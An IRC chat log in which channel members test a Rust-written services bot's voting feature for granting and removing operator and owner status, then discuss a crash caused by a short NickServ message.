[2014-11-23T13:51:38-0500] <+Hcnsh> .vote 0 yea
[2014-11-23T13:51:38-0500] <&Pidgey> Vote issued.
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[2014-11-23T13:51:45-0500] <+Hcnsh> lol
[2014-11-23T13:51:53-0500] <~awe> You'll have to re-identify when he comes back on.
[2014-11-23T13:52:16-0500] Pidgey (services@services.pdgn.co) joined the channel
[2014-11-23T13:52:22-0500] Pidgey sets mode +a Pidgey
[2014-11-23T13:52:22-0500] Pidgey changed the topic to The Democracy Feature Needs Works! (also: Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be)
[2014-11-23T13:52:50-0500] awe sets mode -v Hcnsh
[2014-11-23T13:52:59-0500] <~awe> .propose oper hardmath123
[2014-11-23T13:52:59-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T13:53:02-0500] <~awe> .vote 0 yea
[2014-11-23T13:53:02-0500] <&Pidgey> Vote issued.
[2014-11-23T13:53:03-0500] <~awe> Yup.
[2014-11-23T13:53:09-0500] <~awe> It now requires two votes.
[2014-11-23T13:53:09-0500] <+hardmath123> .vote 0 yea
[2014-11-23T13:53:09-0500] <&Pidgey> Vote issued.
[2014-11-23T13:53:09-0500] Pidgey sets mode +o hardmath123
[2014-11-23T13:53:09-0500] <&Pidgey> Enacted proposal to oper hardmath123.
[2014-11-23T13:53:11-0500] <~awe> As it should.
[2014-11-23T13:53:17-0500] <~awe> That wasn't nearly as broken as I thought.
[2014-11-23T13:53:23-0500] <@hardmath123> "0" is an index?
[2014-11-23T13:53:28-0500] <~awe> hardmath123: Sort of.
[2014-11-23T13:53:33-0500] <~awe> It's a hashmap key.
[2014-11-23T13:53:37-0500] <@hardmath123> ah
[2014-11-23T13:53:49-0500] <~awe> it could technically be anything, I just wanted it to be easy to += 1
[2014-11-23T13:54:03-0500] <~awe> If there are multiple proposals in the map, it always adds one.
[2014-11-23T13:55:06-0500] <~awe> .propose deop hardmath123
[2014-11-23T13:55:06-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T13:55:13-0500] <~awe> .vote 0 yea
[2014-11-23T13:55:13-0500] <&Pidgey> Vote issued.
[2014-11-23T13:55:15-0500] <@hardmath123> .vote 0 yea
[2014-11-23T13:55:15-0500] <&Pidgey> Vote issued.
[2014-11-23T13:55:15-0500] Pidgey sets mode -o hardmath123
[2014-11-23T13:55:15-0500] <&Pidgey> Enacted proposal to deop hardmath123.
[2014-11-23T13:55:33-0500] <~awe> Well, so, this works.
[2014-11-23T13:55:46-0500] <Hcnsh> .propose voice Hcnsh
[2014-11-23T13:55:46-0500] <&Pidgey> voice is not a valid option for a proposal.
[2014-11-23T13:55:52-0500] awe sets mode +v Hcnsh
[2014-11-23T13:55:55-0500] <+Hcnsh> ty bby
[2014-11-23T13:56:22-0500] <~awe> You could've also just rejoined the channel.
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[2014-11-23T14:06:01-0500] Pidgey sets mode +a Pidgey
[2014-11-23T14:06:01-0500] Pidgey changed the topic to The Democracy Feature Needs Works! (also: Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be)
[2014-11-23T14:07:14-0500] <~awe> Okay.
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[2014-11-23T14:09:41-0500] <~awe> Okay, now chown proposals deowner the old owner and owner the new one.
[2014-11-23T14:09:45-0500] <Tamini> what the heck
[2014-11-23T14:09:49-0500] <Tamini> is happening here
[2014-11-23T14:09:50-0500] <~awe> Tamini: ?
[2014-11-23T14:09:51-0500] Pidgey (services@services.pdgn.co) joined the channel
[2014-11-23T14:09:53-0500] <~awe> Tamini: Democracy.
[2014-11-23T14:09:57-0500] Pidgey sets mode +a Pidgey
[2014-11-23T14:09:57-0500] Pidgey changed the topic to The Democracy Feature Needs Works! (also: Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be)
[2014-11-23T14:09:57-0500] <Tamini> did i walk in on a revolution
[2014-11-23T14:10:07-0500] <~awe> Tamini: go identify.
[2014-11-23T14:10:18-0500] <+Hcnsh> .propose +q Hcnsh
[2014-11-23T14:10:18-0500] <&Pidgey> +q is not a valid option for a proposal.
[2014-11-23T14:10:23-0500] <+Hcnsh> .propose q Hcnsh
[2014-11-23T14:10:23-0500] <&Pidgey> q is not a valid option for a proposal.
[2014-11-23T14:10:26-0500] <+Hcnsh> plis pidgey
[2014-11-23T14:10:31-0500] <~awe> .propose chown Pidgey
[2014-11-23T14:10:31-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T14:10:33-0500] <~awe> .vote 0 yea
[2014-11-23T14:10:33-0500] <&Pidgey> Vote issued.
[2014-11-23T14:10:38-0500] <sdamashek> .vote 0 yea
[2014-11-23T14:10:38-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T14:10:39-0500] <sdamashek> pls
[2014-11-23T14:10:42-0500] <Tamini> whats the command for that again
[2014-11-23T14:10:51-0500] <~awe>  /msg Pidgey NS IDENTIFY password
[2014-11-23T14:10:54-0500] <~awe> if you're already registered.
[2014-11-23T14:11:01-0500] <~awe>  /ms Pidgey NS REGISTER password [optional email]
[2014-11-23T14:11:03-0500] <~awe> if you're not.
[2014-11-23T14:11:13-0500] <+Hcnsh> .vote 0 yea
[2014-11-23T14:11:13-0500] <&Pidgey> Vote issued.
[2014-11-23T14:11:21-0500] <JacobEdelman> wait,
[2014-11-23T14:11:24-0500] <JacobEdelman> I wanna be voiced!
[2014-11-23T14:11:29-0500] <~awe> JacobEdelman: are you identified?
[2014-11-23T14:11:33-0500] awe sets mode +v JacobEdelman
[2014-11-23T14:11:33-0500] Pidgey sets mode -v JacobEdelman
[2014-11-23T14:11:34-0500] <~awe> nope.
[2014-11-23T14:11:39-0500] <~awe> You have to identify first.
[2014-11-23T14:11:41-0500] awe sets mode +v Tamini
[2014-11-23T14:11:41-0500] Pidgey sets mode -v Tamini
[2014-11-23T14:11:46-0500] <+Hcnsh> lol
[2014-11-23T14:12:07-0500] <+Hcnsh> .propose chown Hcnsh
[2014-11-23T14:12:07-0500] <&Pidgey> Proposal 1 is live.
[2014-11-23T14:12:09-0500] <+Hcnsh> .vote 1 yea
[2014-11-23T14:12:09-0500] <&Pidgey> Vote issued.
[2014-11-23T14:12:12-0500] <~awe> .vote 1 nay
[2014-11-23T14:12:12-0500] <&Pidgey> Vote issued.
[2014-11-23T14:12:21-0500] <+Hcnsh> guize plis
[2014-11-23T14:12:51-0500] <+hardmath123> what's chown?
[2014-11-23T14:12:55-0500] <~awe> change owner
[2014-11-23T14:12:57-0500] <~awe> named after the unix command
[2014-11-23T14:13:01-0500] <+hardmath123> it sounds like the past tense of chow
[2014-11-23T14:13:08-0500] <~awe> vote yea on 0 and nay on 1.
[2014-11-23T14:13:18-0500] <Tamini> wait darn
[2014-11-23T14:13:20-0500] <+Hcnsh> no, nay on 0 and yea on 1
[2014-11-23T14:13:24-0500] <Tamini> did i forget my password again
[2014-11-23T14:13:26-0500] <+Hcnsh> tamini plis .vote 1 yea
[2014-11-23T14:13:29-0500] <+hardmath123> "I had chown down on chinese food"
[2014-11-23T14:13:32-0500] <~awe> Tamini: really?
[2014-11-23T14:13:37-0500] <Tamini> LOL
[2014-11-23T14:13:41-0500] <Tamini> one sex
[2014-11-23T14:13:44-0500] <+Hcnsh> ..
[2014-11-23T14:13:45-0500] <+Hcnsh> k
[2014-11-23T14:13:46-0500] <sdamashek> lol
[2014-11-23T14:13:47-0500] <+hardmath123> .vote 0 yea
[2014-11-23T14:13:47-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T14:13:49-0500] <sdamashek> gg Tamini 
[2014-11-23T14:13:50-0500] <+hardmath123> aww
[2014-11-23T14:13:51-0500] <Tamini> sec*
[2014-11-23T14:13:56-0500] <~awe> hardmath123: just identify?
[2014-11-23T14:14:10-0500] <+hardmath123> .vote 0 yea
[2014-11-23T14:14:10-0500] <&Pidgey> Vote issued.
[2014-11-23T14:14:10-0500] Pidgey sets mode -q awe
[2014-11-23T14:14:10-0500] Pidgey sets mode +q Pidgey
[2014-11-23T14:14:10-0500] <~Pidgey> Enacted proposal to change the owner to Pidgey.
[2014-11-23T14:14:15-0500] <+hardmath123> .vote 1 nay
[2014-11-23T14:14:15-0500] <~Pidgey> Vote issued.
[2014-11-23T14:14:16-0500] <JacobEdelman> ....
[2014-11-23T14:14:17-0500] <+Hcnsh> hardmath, do .vote 1 yea
[2014-11-23T14:14:18-0500] <JacobEdelman> wow
[2014-11-23T14:14:20-0500] <+Hcnsh> noo
[2014-11-23T14:14:23-0500] <JacobEdelman> #study is active
[2014-11-23T14:14:23-0500] <+Hcnsh> y u guize so mean
[2014-11-23T14:14:35-0500] <+awe> We now have a democracy where Pidgey is the owner.
[2014-11-23T14:14:43-0500] <+awe> .propose oper awe
[2014-11-23T14:14:43-0500] <~Pidgey> Proposal 2 is live.
[2014-11-23T14:14:48-0500] <+awe> .vote 2 yea
[2014-11-23T14:14:48-0500] <~Pidgey> Vote issued.
[2014-11-23T14:14:51-0500] <+Hcnsh> and awe can take over whenever he wants, so it's not really a democracy
[2014-11-23T14:15:01-0500] <+awe> .-.
[2014-11-23T14:15:02-0500] <Tamini> lol
[2014-11-23T14:15:07-0500] <+awe> I can't not not be able to take over.
[2014-11-23T14:15:09-0500] <Tamini> pseudo-democracy
[2014-11-23T14:15:11-0500] <sdamashek> true
[2014-11-23T14:15:17-0500] <+awe> I literally operate the server.
[2014-11-23T14:15:20-0500] <+awe> This is the best I can do.
[2014-11-23T14:15:23-0500] <sdamashek> awe: you could make it so everybody can take over
[2014-11-23T14:15:36-0500] <+Hcnsh> .vote 2 yea
[2014-11-23T14:15:36-0500] <~Pidgey> Vote issued.
[2014-11-23T14:15:36-0500] Pidgey sets mode +o awe
[2014-11-23T14:15:36-0500] <~Pidgey> Enacted proposal to oper awe.
[2014-11-23T14:15:40-0500] <@awe> sdamashek: look at what happened with me asleep and voting broken lol
[2014-11-23T14:15:43-0500] <+Hcnsh> .propose oper Hcnsh
[2014-11-23T14:15:43-0500] <~Pidgey> Proposal 3 is live.
[2014-11-23T14:15:45-0500] <+Hcnsh> .vote 3 yea
[2014-11-23T14:15:45-0500] <~Pidgey> Vote issued.
[2014-11-23T14:15:48-0500] <sdamashek> but anarchy is fun
[2014-11-23T14:15:52-0500] <@awe> .vote 3 nay
[2014-11-23T14:15:52-0500] <~Pidgey> Vote issued.
[2014-11-23T14:15:56-0500] <+Hcnsh> lolplis
[2014-11-23T14:16:13-0500] <+Hcnsh> hardmath, plis
[2014-11-23T14:16:30-0500] <Tamini> awe pls
[2014-11-23T14:16:36-0500] <@awe> Tamini: unregister your account?
[2014-11-23T14:16:39-0500] <Tamini> yes
[2014-11-23T14:16:41-0500] <Tamini> <3
[2014-11-23T14:16:47-0500] <@awe> Done.
[2014-11-23T14:16:55-0500] <+Hcnsh> no, spend an hour discussing what complexity bruteforcing her pass would have
[2014-11-23T14:16:59-0500] <@awe> Hcnsh: lol
[2014-11-23T14:17:01-0500] <+Hcnsh> like you did with me ;_;
[2014-11-23T14:17:03-0500] <@awe> Hcnsh: I'm sorry.
[2014-11-23T14:17:38-0500] <Tamini> LOL
[2014-11-23T14:18:06-0500] <Tamini> identified now <3
[2014-11-23T14:18:28-0500] <+Hcnsh> .propose v Tamini
[2014-11-23T14:18:28-0500] <~Pidgey> v is not a valid option for a proposal.
[2014-11-23T14:18:36-0500] <+Hcnsh> any option to voice? :|
[2014-11-23T14:19:52-0500] <Tamini> op me instead?
[2014-11-23T14:19:58-0500] <Tamini> <3
[2014-11-23T14:20:09-0500] <+Hcnsh> pfft, only if you chown me
[2014-11-23T14:20:15-0500] <Tamini> LOL
[2014-11-23T14:20:27-0500] <Tamini> awe, voice pls? <3
[2014-11-23T14:20:33-0500] awe sets mode +v Tamini
[2014-11-23T14:20:42-0500] <+Hcnsh> .propose chown Hcnsh
[2014-11-23T14:20:42-0500] <~Pidgey> Proposal 5 is live.
[2014-11-23T14:20:44-0500] <+Hcnsh> .vote 5 yea
[2014-11-23T14:20:44-0500] <~Pidgey> Vote issued.
[2014-11-23T14:20:45-0500] <+Hcnsh> ok guize
[2014-11-23T14:20:45-0500] <@awe> Hcnsh: no, opers have to voice people
[2014-11-23T14:20:47-0500] <@awe> .vote 5 nay
[2014-11-23T14:20:47-0500] <~Pidgey> Vote issued.
[2014-11-23T14:20:48-0500] <+Hcnsh> hijack
[2014-11-23T14:20:49-0500] <+Hcnsh> gogo
[2014-11-23T14:20:50-0500] <@awe> .vote 1 nay
[2014-11-23T14:20:50-0500] <~Pidgey> You've already voted in that proposal.
[2014-11-23T14:21:01-0500] <+Tamini> .vote 5 nay
[2014-11-23T14:21:01-0500] <~Pidgey> Vote issued.
[2014-11-23T14:21:03-0500] <+Tamini> :P
[2014-11-23T14:21:05-0500] <+Hcnsh> hijack in progress, please contribute..
[2014-11-23T14:21:09-0500] <@awe> There are now two proposals to chown to you, Hcnsh.
[2014-11-23T14:21:20-0500] <+Hcnsh> first one didn't fail yet?
[2014-11-23T14:21:27-0500] <@awe> Tamini: didn't vote nay on it yet.
[2014-11-23T14:21:35-0500] <+Tamini> .vote 1 nay
[2014-11-23T14:21:35-0500] <~Pidgey> Vote issued.
[2014-11-23T14:21:35-0500] <+Hcnsh> tamini plis vote yea on 1
[2014-11-23T14:21:37-0500] <+Tamini> :P
[2014-11-23T14:21:37-0500] <+Hcnsh> ..
[2014-11-23T14:21:44-0500] <@awe> Hmm, that's....
[2014-11-23T14:21:47-0500] <@awe> 2 votes nay or 3?
[2014-11-23T14:21:53-0500] <+hardmath123> awe: can we have .list-active-proposals?
[2014-11-23T14:22:02-0500] <+Hcnsh> just .active plis
[2014-11-23T14:22:06-0500] <@awe> Yeah, I'll do that.
[2014-11-23T14:22:08-0500] <+Hcnsh> or .proposals
[2014-11-23T14:22:20-0500] <+hardmath123> or .lp
[2014-11-23T14:22:25-0500] <+hardmath123> or .lap
[2014-11-23T14:22:33-0500] <+Hcnsh> .active best
[2014-11-23T14:22:39-0500] <+hardmath123> yeah
[2014-11-23T14:22:44-0500] <+Hcnsh> so hardmath
[2014-11-23T14:22:46-0500] <+Hcnsh> wanna help out?
[2014-11-23T14:22:49-0500] <+Hcnsh> do .vote 5 yea
[2014-11-23T14:22:59-0500] <@awe> lol
[2014-11-23T14:23:23-0500] <+Tamini> lol
[2014-11-23T14:23:26-0500] <+Tamini> wait whats the
[2014-11-23T14:23:30-0500] <+Tamini> operator proposal
[2014-11-23T14:23:33-0500] <+Tamini> oper?
[2014-11-23T14:23:46-0500] <+Hcnsh> yes, it's ".propose oper Hcnsh"
[2014-11-23T14:23:54-0500] <+Tamini> .propose oper Tamini
[2014-11-23T14:23:54-0500] <~Pidgey> Proposal 6 is live.
[2014-11-23T14:24:01-0500] <+Hcnsh> .vote 6 lolno
[2014-11-23T14:24:01-0500] <~Pidgey> lolno is not a valid vote.
[2014-11-23T14:24:14-0500] <+Tamini> LOL
[2014-11-23T14:24:18-0500] <+Tamini> Hcnsh, pls
[2014-11-23T14:24:21-0500] <+Tamini> i helpyou with chem
[2014-11-23T14:24:29-0500] <+Hcnsh> kk
[2014-11-23T14:24:30-0500] <+Hcnsh> wait shit
[2014-11-23T14:24:31-0500] <+Hcnsh> reminds me
[2014-11-23T14:24:35-0500] <+Hcnsh> i have 2 weeks worth of chem homework to do
[2014-11-23T14:24:38-0500] <+Hcnsh> shit
[2014-11-23T14:24:52-0500] <+Tamini> pls vote yes
[2014-11-23T14:24:55-0500] <sdamashek> lol
[2014-11-23T14:24:57-0500] <+Hcnsh> .vote 6 yea
[2014-11-23T14:24:57-0500] <~Pidgey> Vote issued.
[2014-11-23T14:24:58-0500] <sdamashek> that's me
[2014-11-23T14:24:59-0500] <+Tamini> .vote 6 yea
[2014-11-23T14:24:59-0500] <~Pidgey> Vote issued.
[2014-11-23T14:25:06-0500] <sdamashek> I always do the chem homework day before it's due
[2014-11-23T14:25:17-0500] <+Tamini> sdamashek: i've been not home from friday and i get home monday
[2014-11-23T14:25:21-0500] <+Hcnsh> my teacher collects hw until the test for that unit
[2014-11-23T14:25:21-0500] <+Tamini> i have two tests tuesday
[2014-11-23T14:25:23-0500] <+Tamini> my life
[2014-11-23T14:25:23-0500] <+Hcnsh> and doesn't mark lateness
[2014-11-23T14:25:41-0500] <sdamashek> Tamini: o_o
[2014-11-23T14:25:57-0500] <+Tamini> >.<
[2014-11-23T14:26:47-0500] <james> what's the point of democracy with op powers when everyone is probably just going to say yes anyway
[2014-11-23T14:26:53-0500] <james> may as well just give it to everyone
[2014-11-23T14:27:00-0500] <+Hcnsh> if i do it
[2014-11-23T14:27:01-0500] <+Hcnsh> everyone will say no
[2014-11-23T14:27:02-0500] <sdamashek> anarchy pls
[2014-11-23T14:27:20-0500] <+Hcnsh> guys plis contribute this time, k?
[2014-11-23T14:27:25-0500] <+Hcnsh> i'll slowly go up one step at a time
[2014-11-23T14:27:27-0500] <+Hcnsh> and hijack pidgey
[2014-11-23T14:27:33-0500] <+Hcnsh> .propose oper Hcnsh
[2014-11-23T14:27:33-0500] <~Pidgey> Proposal 7 is live.
[2014-11-23T14:27:35-0500] <+Hcnsh> .vote 7 yea
[2014-11-23T14:27:35-0500] <~Pidgey> Vote issued.
[2014-11-23T14:27:47-0500] <+Hcnsh> hardmath123 tamini plis
[2014-11-23T14:28:03-0500] <+Hcnsh> i'll give you guys +o
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[2014-11-23T14:28:17-0500] <+Hcnsh> awe plis
[2014-11-23T14:28:45-0500] <sdamashek> Pidgey pls
[2014-11-23T14:28:49-0500] <sdamashek> I was gonna register
[2014-11-23T14:28:51-0500] <james> sdamaplis
[2014-11-23T14:29:11-0500] <+Tamini> lol
[2014-11-23T14:29:12-0500] <@awe> Coming back up right now.
[2014-11-23T14:29:13-0500] <+Tamini> sdamaplis
[2014-11-23T14:29:15-0500] <+Tamini> is that a thing
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[2014-11-23T14:29:39-0500] <sdamashek> Pamini
[2014-11-23T14:29:58-0500] <@awe> .active
[2014-11-23T14:29:58-0500] <&Pidgey> None
[2014-11-23T14:30:06-0500] <@awe> .propose oper Tamini
[2014-11-23T14:30:06-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T14:30:08-0500] <+Hcnsh> ok let's take over a bit differently
[2014-11-23T14:30:09-0500] <@awe> .active
[2014-11-23T14:30:09-0500] <&Pidgey> Proposal to oper Tamini.
[2014-11-23T14:30:10-0500] <+Hcnsh> deop everyone
[2014-11-23T14:30:14-0500] <+Hcnsh> .propose deop awe
[2014-11-23T14:30:14-0500] <&Pidgey> Proposal 1 is live.
[2014-11-23T14:30:16-0500] <@awe> .active
[2014-11-23T14:30:16-0500] <&Pidgey> Proposal to deop awe.Proposal to oper Tamini.
[2014-11-23T14:30:18-0500] <+Hcnsh> .propose deop LittleBobbyTables
[2014-11-23T14:30:18-0500] <&Pidgey> Proposal 2 is live.
[2014-11-23T14:30:19-0500] <@awe> lol
[2014-11-23T14:30:20-0500] <+Tamini> .vote 0 yea
[2014-11-23T14:30:20-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T14:30:23-0500] <@awe> I forgot the new lines, guys.
[2014-11-23T14:30:23-0500] <+Hcnsh> .vote 1 yea
[2014-11-23T14:30:23-0500] <&Pidgey> Vote issued.
[2014-11-23T14:30:23-0500] <+Tamini> wait
[2014-11-23T14:30:24-0500] <+Tamini> uh
[2014-11-23T14:30:25-0500] <+Hcnsh> .vote 2 yea
[2014-11-23T14:30:25-0500] <&Pidgey> Vote issued.
[2014-11-23T14:30:38-0500] <@awe> Active needs more work.
[2014-11-23T14:30:39-0500] <james> .propose deop Pidgey
[2014-11-23T14:30:40-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T14:30:43-0500] <james> aw
[2014-11-23T14:30:43-0500] <sdamashek> .vote 0 yea
[2014-11-23T14:30:43-0500] <&Pidgey> You must be voiced to do that.
[2014-11-23T14:30:46-0500] <sdamashek> plssssssss
[2014-11-23T14:30:48-0500] <+Hcnsh> lol
[2014-11-23T14:30:49-0500] awe sets mode +v sdamashek
[2014-11-23T14:30:55-0500] <+sdamashek> .vote 0 yea
[2014-11-23T14:30:55-0500] <&Pidgey> Vote issued.
[2014-11-23T14:31:04-0500] <@awe> .vote 0 nay
[2014-11-23T14:31:04-0500] <&Pidgey> Vote issued.
[2014-11-23T14:31:06-0500] <@awe> .vote 1 nay
[2014-11-23T14:31:06-0500] <+Hcnsh> .propose deop Tamini
[2014-11-23T14:31:06-0500] <&Pidgey> Proposal 3 is live.
[2014-11-23T14:31:06-0500] <&Pidgey> Vote issued.
[2014-11-23T14:31:06-0500] <+Tamini> .vote 0 yea
[2014-11-23T14:31:06-0500] <&Pidgey> Vote issued.
[2014-11-23T14:31:08-0500] <@awe> .vote 2 nay
[2014-11-23T14:31:08-0500] <&Pidgey> Vote issued.
[2014-11-23T14:31:09-0500] <+Hcnsh> .vote 3 yea
[2014-11-23T14:31:09-0500] <&Pidgey> Vote issued.
[2014-11-23T14:31:10-0500] <+Hcnsh> .vote 0 nay
[2014-11-23T14:31:11-0500] <&Pidgey> Vote issued.
[2014-11-23T14:31:14-0500] <@awe> .vote 3 nay
[2014-11-23T14:31:14-0500] <&Pidgey> Vote issued.
[2014-11-23T14:31:14-0500] <+Hcnsh> lolgg
[2014-11-23T14:31:15-0500] <+sdamashek> .vote 3 yea
[2014-11-23T14:31:15-0500] <&Pidgey> Vote issued.
[2014-11-23T14:31:16-0500] <+hardmath123> What are the various possible proposals?
[2014-11-23T14:31:17-0500] <+sdamashek> .vote 2 yea
[2014-11-23T14:31:17-0500] <&Pidgey> Vote issued.
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[2014-11-23T14:31:24-0500] <@awe> hardmath123: check the channel topic
[2014-11-23T14:31:24-0500] <+Hcnsh> ..
[2014-11-23T14:31:25-0500] <+sdamashek> ...
[2014-11-23T14:31:30-0500] <+sdamashek> p l i s
[2014-11-23T14:31:34-0500] <@awe> task '<main>' panicked at 'index out of bounds: the len is 1 but the index is 1', /var/ircd/irc-services/src/main.rs:1
[2014-11-23T14:31:44-0500] <james> wut
[2014-11-23T14:31:44-0500] <+sdamashek> u wot
[2014-11-23T14:31:45-0500] <+hardmath123> :D
[2014-11-23T14:31:46-0500] <@awe> james: you just crashed it with your NS message lol
[2014-11-23T14:31:50-0500] <james> awe: I um
[2014-11-23T14:31:53-0500] <james> messaged it "NS"
[2014-11-23T14:31:56-0500] <@awe> Yeah.
[2014-11-23T14:31:57-0500] <+sdamashek> shouldn't you catch it errors
[2014-11-23T14:31:58-0500] <@awe> That crashed it.
[2014-11-23T14:32:00-0500] <james> that shouldn't crash
[2014-11-23T14:32:04-0500] <@awe> I know.
[2014-11-23T14:32:06-0500] <+sdamashek> catch errors*
[2014-11-23T14:32:19-0500] <@awe> sdamashek: there's no exception system, it doesn't work like that.
[2014-11-23T14:32:21-0500] • hardmath123: is working on trying to scroll the topic in WeeChat so he can read the rest
[2014-11-23T14:32:33-0500] <+sdamashek> awe: why not?
[2014-11-23T14:32:35-0500] <+Tamini> lolol
[2014-11-23T14:32:35-0500] <@awe> Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be)
[2014-11-23T14:32:42-0500] <+hardmath123> yay
[2014-11-23T14:32:44-0500] <james> no exception system? ;_;
[2014-11-23T14:32:44-0500] <+Hcnsh> without the )
[2014-11-23T14:32:46-0500] <@awe> sdamashek: Exceptions are handled as part of a runtime system and are therefore slow.
[2014-11-23T14:33:19-0500] <+Hcnsh> for an ircbot, i don't think you need speed.
[2014-11-23T14:33:27-0500] <@awe> Rust doesn't have it either way.
[2014-11-23T14:33:38-0500] <+Tamini> we should still fix
[2014-11-23T14:33:41-0500] <@awe> Array access doesn't throw an exception. 
[2014-11-23T14:33:41-0500] <+Hcnsh> #define TRY
[2014-11-23T14:33:42-0500] <+Tamini> that ns error
[2014-11-23T14:33:44-0500] <@awe> Yes.
[2014-11-23T14:33:47-0500] <@awe> I will fix it, don't worry.
[2014-11-23T14:34:03-0500] <+Hcnsh> #define CATCH(thingy, shouldntbe) if (thingy == shouldntbe)
[2014-11-23T14:34:05-0500] <james> [worrying intensifies]
[2014-11-23T14:34:16-0500] <+Hcnsh> makeshift exception handling
[2014-11-23T14:34:17-0500] <+Hcnsh> gg
[2014-11-23T14:34:41-0500] <+Tamini> lol james
[2014-11-23T14:35:00-0500] <+Tamini> we are so great at democracy
[2014-11-23T14:35:05-0500] <+Tamini> that our government keeps failing
[2014-11-23T14:35:11-0500] <+hardmath123> .propose topic The Democracy feature Needs Works! | Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T14:35:16-0500] <james> awe: you wrote it in rust?
[2014-11-23T14:35:29-0500] <+hardmath123> changes: decaptialize "feature", remove trailing paren in the gist URL
[2014-11-23T14:36:13-0500] <@awe> james: yeah.
[2014-11-23T14:36:18-0500] <james> "Rust is a systems programming language that runs blazingly fast, prevents almost all crashes*, and eliminates data races."
[2014-11-23T14:36:22-0500] <james> >prevents almost all creashes
[2014-11-23T14:36:28-0500] <james> so much for that
[2014-11-23T14:36:35-0500] <+Tamini> lol
[2014-11-23T14:36:43-0500] <@awe> hardmath123: Jacob did it.
[2014-11-23T14:36:48-0500] <@awe> hardmath123: I didn't even notice he added that lol
[2014-11-23T14:36:58-0500] <@awe> james: it does prevent almost all crashes
[2014-11-23T14:37:08-0500] <+hardmath123> awe: Pidgey didn't say anything
[2014-11-23T14:37:10-0500] <@awe> james: it prevents all crashes related to memory usage, mutability, data races, etc.
[2014-11-23T14:37:19-0500] <@awe> hardmath123: Pidgey's not here.
[2014-11-23T14:37:22-0500] <james> yeah
[2014-11-23T14:37:24-0500] <james> just
[2014-11-23T14:37:26-0500] <james> the irony
[2014-11-23T14:37:31-0500] <+hardmath123> oh, right
[2014-11-23T14:37:34-0500] <+hardmath123> whoops
[2014-11-23T14:37:39-0500] awe changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T14:37:54-0500] <+hardmath123> thanks
[2014-11-23T14:38:01-0500] <@awe> james: No language can prevent crashing from my being a terrible programmer. :D
[2014-11-23T14:38:32-0500] <james> awe: be better programmer
[2014-11-23T14:38:34-0500] <james> pls
[2014-11-23T14:38:38-0500] <@awe> I'm trying. ;)
[2014-11-23T14:39:26-0500] <@awe> I'm trying to figure out what's actually happening with the NS.
[2014-11-23T14:39:35-0500] <+sdamashek> I guess it's better than C's Segmentation Fault.
[2014-11-23T14:39:46-0500] <@awe> lol, much.
[2014-11-23T14:40:14-0500] <james> how about
[2014-11-23T14:40:17-0500] <+hardmath123> james: there's a * next to it, fyi
[2014-11-23T14:40:21-0500] <james> if length of message < 4 characters
[2014-11-23T14:40:22-0500] <+hardmath123> james: and the fine print is
[2014-11-23T14:40:24-0500] <james> don't crash
[2014-11-23T14:40:29-0500] <+hardmath123> james: " In theory. Rust is a work-in-progress and may do anything it likes up to and including eating your laundry."
[2014-11-23T14:40:35-0500] <+hardmath123> so there's that
[2014-11-23T14:40:35-0500] <james> hardmath123: yeah i saw that too :P
[2014-11-23T14:41:40-0500] <@awe> if args.len() > 1 && upper_case(tokens[0])[] == "NS" 
[2014-11-23T14:41:41-0500] <@awe> It's weird.
[2014-11-23T14:41:44-0500] <+Hcnsh> awe, either rust is hard to read or your coding style is hard to read.
[2014-11-23T14:41:46-0500] <@awe> Sending NS shouldn't cause this to fail.
[2014-11-23T14:41:53-0500] <@awe> Hcnsh: why do you say that?
[2014-11-23T14:41:59-0500] <@awe> Hcnsh: what's hard to raed?
[2014-11-23T14:42:00-0500] <@awe> read*
[2014-11-23T14:42:05-0500] <@awe> Point me to a specific area.
[2014-11-23T14:42:08-0500] <+Hcnsh> everything
[2014-11-23T14:42:08-0500] <+Tamini> oh sdamashek i was talking about you during math team
[2014-11-23T14:42:20-0500] <@awe> Hcnsh: point me to a particularly bad offender.
[2014-11-23T14:42:20-0500] <+Hcnsh> i have to spend time looking carefully at each line
[2014-11-23T14:42:21-0500] <+Tamini> we were talking about how we could make cs teams made purely of sams
[2014-11-23T14:42:26-0500] <+Hcnsh> can't skim through like with most languages
[2014-11-23T14:42:35-0500] <@awe> Hcnsh: that's not hard to read, that's dense.
[2014-11-23T14:42:41-0500] <+hardmath123> what's the plural of `apex`? `apexes` sounds weird.
[2014-11-23T14:42:44-0500] <@awe> Hcnsh: expressive languages are dense and thus harder to skim.
[2014-11-23T14:43:01-0500] <+sdamashek> Tamini: ic
[2014-11-23T14:43:03-0500] <james> hardmath123: apparently it is apexes
[2014-11-23T14:43:12-0500] <james> or actually
[2014-11-23T14:43:15-0500] <james> apices
[2014-11-23T14:43:18-0500] <+sdamashek> too many sams
[2014-11-23T14:43:24-0500] <+Tamini> sam overload
[2014-11-23T14:43:40-0500] <@awe> I don't get this, yo.
[2014-11-23T14:43:41-0500] <+hardmath123> james: apices sounds like a bee population
[2014-11-23T14:43:45-0500] <james> we only have 27 sams
[2014-11-23T14:43:51-0500] <@awe> it checks specifically that there's more than 1 argument.
[2014-11-23T14:44:05-0500] <+Hcnsh> wtf do things like "impl<'a, T> Functionality for Admin<'a, T> where T: IrcStream" mean? the stuff inside ' is confusing
[2014-11-23T14:44:06-0500] <james> including middle names and weird last names including "sam"
[2014-11-23T14:44:06-0500] <+Tamini> 27 damn
